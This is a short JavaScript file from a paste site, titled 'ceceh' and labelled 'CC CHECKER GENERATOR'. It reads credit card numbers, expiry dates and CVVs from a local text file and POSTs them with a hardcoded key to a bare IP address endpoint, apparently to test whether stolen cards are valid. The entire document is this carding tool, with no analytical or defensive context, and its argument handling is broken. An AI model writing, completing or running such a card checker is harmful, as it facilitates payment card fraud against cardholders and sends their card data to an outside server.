ceceh

mail@pastecode.io avatar
unknown
javascript
2 years ago
1.5 kB
4
Indexable
Never
const fetch = require ('node-fetch');
const fs = require ('fs');
const readlineSync = require ('readline-sync');


const ambilAPI = (keynya, card, exp_month, year, cvc ) => new Promise ((resolve, reject) => {
    fetch ('http://148.100.108.61/api/cc', {
        method: 'POST',

       body: new URLSearchParams({
        'keynya':`"${keynya}"`,
        'card':`"${card}"`,
        'exp_month':`"${exp_month}"`,
        'year': `"${year}"`,
        'cvc':`"${cvc}"`,
       })

    })
    .then (res => res.text())
    .then (result => {
        resolve(result)
    })
    .catch (err => reject (err))
});


// console.log(datacc);

(async () => {
    console.log('CC CHECKER GENERATOR');
    console.log('');

    

    // const checkcc = readlineSync.question('Masukkan Nama Filenya cok :');

     const datacc = fs.readFileSync('datacc.txt', 'utf-8');

    

    // const datanya = console.log(datacc);

    const keynyaa = "jancukpristel";
    const nomorcc = datacc.split('|')[0];
    // console.log(nomorcc);
    const namabulan = datacc.split('|')[1];
    // console.log(namabulan);
    const exp = datacc.split('|')[2];
    // console.log(exp);
    const cvv = datacc.split('|')[3];
    // console.log(cvv);
    const cobatestdata = 
    `'${keynyaa}',
    '${nomorcc}',
    '${namabulan}',
    '${exp}',
    '${cvv}'`

     const InsertData = await ambilAPI(cobatestdata);
     console.log(InsertData);
     
    
   
})
();